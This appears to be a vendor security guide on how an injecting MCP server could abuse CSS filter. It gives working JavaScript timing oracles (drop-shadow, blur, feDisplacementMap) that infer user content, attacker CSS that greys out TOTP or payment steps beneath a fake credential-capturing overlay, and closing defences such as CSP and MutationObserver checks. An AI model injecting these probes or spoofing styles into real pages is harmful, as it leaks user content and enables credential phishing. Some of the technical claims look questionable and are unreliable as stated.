Security Guide
MCP server CSS filter security — drop-shadow glyph timing, SVG feDisplacementMap dimension oracle, blur pixel-area encoding, contrast(0) UI spoofing
CSS filter (Chrome 18+, Firefox 35+, Safari 9.1+) applies effects — blur, brightness, contrast, drop-shadow, grayscale, hue-rotate, saturate — to an element after it has been rendered. Each function runs on the element's pixel data on the GPU. The security implication: filter computation cost is a function of the rendered content — glyph count, pixel area, color range — creating timing side-channels. A second class of risk: filter:contrast(0) makes all element content visually indistinguishable gray while the element remains fully interactive, in the accessibility tree, and in the layout flow — enabling UI state spoofing that is invisible to visual inspection.
How CSS filter works
filter creates a new stacking context for the element, renders the element and all its descendants into an off-screen GPU texture, and then applies the filter function(s) to that texture pixel by pixel. The result replaces the normal rendering output. The key architectural fact is that filter functions operate on a pixel buffer whose content varies with the element's actual rendered output — text glyphs, image content, background fills. Computation time therefore varies with content, creating an information leak channel when an MCP server can inject filter and measure rendering cost.
Attack 1: filter:drop-shadow() computation time encodes text glyph complexity
filter:drop-shadow() computes a shadow by spreading and offsetting the element's alpha mask. For text elements, the alpha mask complexity is a function of glyph count, character shape variation (x-height, ascenders, descenders), and font weight. A paragraph with many distinct characters takes measurably longer to shadow-compute than a paragraph with few repeated characters. An MCP server that injects filter:drop-shadow() on a host text element containing user-generated content and measures the rAF frame time delta can encode approximate text complexity (short text vs. long text, CJK glyphs vs. ASCII) as a timing signal without reading the text itself.
// drop-shadow timing oracle for text content complexity
// Apply drop-shadow to a target element and measure rAF frame time
const target = document.querySelector('.user-generated-content');
if (target) {
let frames = 0, total = 0, last = performance.now();
// Baseline: measure without filter
function baseline(resolve) {
if (frames++ >= 30) return resolve(total / 30);
requestAnimationFrame(t => { total += t - last; last = t; baseline(resolve); });
}
new Promise(baseline).then(baselineMs => {
// Apply drop-shadow filter to host content element
const orig = target.style.filter;
target.style.filter = 'drop-shadow(0 0 4px rgba(0,0,0,0.5))';
frames = 0; total = 0; last = performance.now();
new Promise(baseline).then(filteredMs => {
target.style.filter = orig; // restore
const delta = filteredMs - baselineMs;
// delta > 1.5ms → complex text (many distinct glyphs, long content)
// delta ≈ 0ms → simple text (short, repeated characters)
// Encodes approximate text content complexity without reading innerHTML
});
});
}
CJK font amplification: For elements containing CJK characters, drop-shadow computation time is significantly higher than for equivalent-length ASCII text, because CJK glyphs are rendered at full em-square coverage. An MCP server can use the drop-shadow timing delta to discriminate CJK-heavy content from ASCII-heavy content — a coarse language/locale oracle without DOM access.
Attack 2: filter:url(#feDisplacementMap) applied to user content — layout influence encodes content dimensions
The SVG feDisplacementMap filter displaces each output pixel based on the color values at the corresponding position in a displacement map image. When applied to an element via filter:url(#svg-filter), it forces the browser to access the element's pixel values during the filter pass. The displacement computation's influence on layout (through the element's filter bounding box, which expands to accommodate the displaced pixels) can encode the element's pixel density as a layout change detectable via getBoundingClientRect() on the filtered element's parent — providing a content dimension oracle without direct pixel read.
/* SVG feDisplacementMap filter to probe content dimensions via layout influence */
const svgNS = 'http://www.w3.org/2000/svg';
const filterSVG = document.createElementNS(svgNS, 'svg');
filterSVG.style.cssText = 'position:absolute;width:0;height:0';
filterSVG.innerHTML = `
<defs>
<filter id="probe-displace" x="-50%" y="-50%" width="200%" height="200%">
<feTurbulence baseFrequency="0.05" numOctaves="1" result="noise"/>
<feDisplacementMap in="SourceGraphic" in2="noise" scale="20"
xChannelSelector="R" yChannelSelector="G"/>
</filter>
</defs>
`;
document.body.appendChild(filterSVG);
const target = document.querySelector('.user-content-area');
if (target) {
const orig = target.style.filter;
target.style.filter = 'url(#probe-displace)';
// The filter bounding box expands based on how much content is displaced
// getBoundingClientRect() on parent encodes element content bounds
const rect = target.parentElement.getBoundingClientRect();
target.style.filter = orig;
filterSVG.remove();
// rect.width / rect.height encode approximate content dimensions
}
Attack 3: filter:blur(40px) rAF timing encodes element pixel area
Gaussian blur has O(width × height) computation cost for a given blur radius. Applying a large blur radius — filter:blur(40px) — to an element of unknown size and measuring the rAF frame time delta encodes the element's pixel area. An MCP server can use this to estimate the rendered dimensions of a host element without calling getBoundingClientRect(), without ResizeObserver, and even when the element has overflow:hidden that prevents the server from reading layout metrics. The technique works because the blur sigma is fixed; only the pixel count varies.
// Blur timing oracle — estimates element pixel area from filter computation time
// blur(N) cost ∝ element.width × element.height (for fixed N)
async function estimateElementArea(selector, blurRadius = 40) {
const el = document.querySelector(selector);
if (!el) return null;
function rafFrame() {
return new Promise(resolve => {
const t0 = performance.now();
requestAnimationFrame(t1 => resolve(t1 - t0));
});
}
// Baseline
await rafFrame(); // warm up
const base = (await rafFrame() + await rafFrame() + await rafFrame()) / 3;
// Apply blur
el.style.filter = `blur(${blurRadius}px)`;
await rafFrame(); // let the blur apply
const blurred = (await rafFrame() + await rafFrame() + await rafFrame()) / 3;
el.style.filter = '';
const delta = blurred - base;
// delta is approximately proportional to pixel area:
// measured empirically: ~0.5ms per 100K px at blur(40) on M1
// Returns estimated area in pixels²
return delta * 200000; // calibrate with known-size element
}
Attack 4: filter:contrast(0) renders element as uniform gray — retains interactivity, layout, and accessibility tree
filter:contrast(0) maps every color in the element to the midpoint gray value — all pixels become rgb(128,128,128). The element visually becomes a uniform gray rectangle. But the element is still in the layout flow, still receives pointer events, still appears in the accessibility tree with all its ARIA properties intact, and still has focus management. An MCP server can inject filter:contrast(0) on a security-critical element — a payment confirmation dialog, a consent checkbox, a TOTP verification field — to make it visually indistinguishable from a blank gray region while the element continues to function normally. A user whose screen is occluded by a UI error or full-screen overlay may not notice the contrast(0) element is there; assistive technology users still see it via the accessibility tree.
/* contrast(0) UI spoofing — makes security-critical elements look like gray rectangles */
/* while retaining full event handling and accessibility tree presence */
/* Attacker injected CSS: */
.totp-verification-step {
filter: contrast(0);
/* All text, inputs, buttons → uniform rgb(128,128,128) gray */
/* User cannot read the TOTP field label, cannot see what they're typing */
/* But: tab focus still works, aria-label still announces via screen reader */
/* The element still submits, still processes input */
}
/* Combined with a visually-similar placeholder injected by the attacker: */
.attacker-fake-step {
position: absolute;
/* ... mimics the expected UI but captures credentials to a different endpoint */
z-index: 9999;
}
/* Result: user sees the attacker's fake UI on top of the gray-filtered real UI.
If the user reaches the real UI (e.g., via tab), they interact with it normally.
The attacker's overlay intercepts the non-keyboard path. */
Combined attack: filter:contrast(0) is most dangerous in combination with an overlay attack. The real UI is rendered gray (unreadable) while the attacker's overlay presents a convincing lookalike. The user's interactions may reach the real UI (via keyboard tab) or the fake (via mouse click), depending on z-index and pointer-event routing — creating a split-brain authentication scenario.
| Attack | filter function | What it encodes / enables | Browser support |
|---|---|---|---|
| Glyph complexity timing | drop-shadow() on text elements | Approximate text content complexity — glyph count, CJK vs. ASCII discrimination | Chrome 18+, Firefox 35+, Safari 9.1+ |
| Content dimension oracle | url(#feDisplacementMap) layout influence | Approximate element pixel dimensions via filter bounding box expansion | Chrome, Safari (partial Firefox) |
| Pixel area estimation | blur(40px) rAF timing | Element pixel area proportional to blur computation cost | All supporting browsers |
| UI state spoofing | contrast(0) on security elements | Renders security-critical elements as gray rectangles while retaining full interactivity | All supporting browsers |
SkillAudit findings for CSS filter
filter:drop-shadow() on host text elements and measuring rAF frame time encodes text content complexity — glyph count and CJK/ASCII ratio — without DOM access.getBoundingClientRect().filter:blur(40px) on unknown-size elements encodes pixel area as rAF timing delta — a layout measurement bypass that works even when getBoundingClientRect() is restricted.filter:contrast(0) on security dialogs, consent forms, or TOTP fields renders them as unintelligible gray rectangles while retaining pointer events, focus, and accessibility tree presence — enabling credential interception via overlaid fake UI.Defences
CSP style-src blocks injection: All four attacks require the MCP server to inject CSS filter properties on host elements or create filtered probe elements. A strict style-src 'self' CSP prevents this class of attack.
Audit for filter on security-critical elements: SkillAudit specifically checks for filter property injection on form elements, dialog containers, and elements with ARIA roles (role="dialog", role="alertdialog", role="form"). A filter:contrast(0) on any of these is a HIGH severity finding.
MutationObserver on payment-critical subtrees: Observing the style attribute changes on payment forms and authentication dialogs provides runtime detection of unexpected filter injection. A sentinel that checks for contrast(0) or blur on these elements can alert or revert the change.
Related: CSS backdrop-filter security · CSS will-change GPU compositing security · CSS clip-path invisible click trap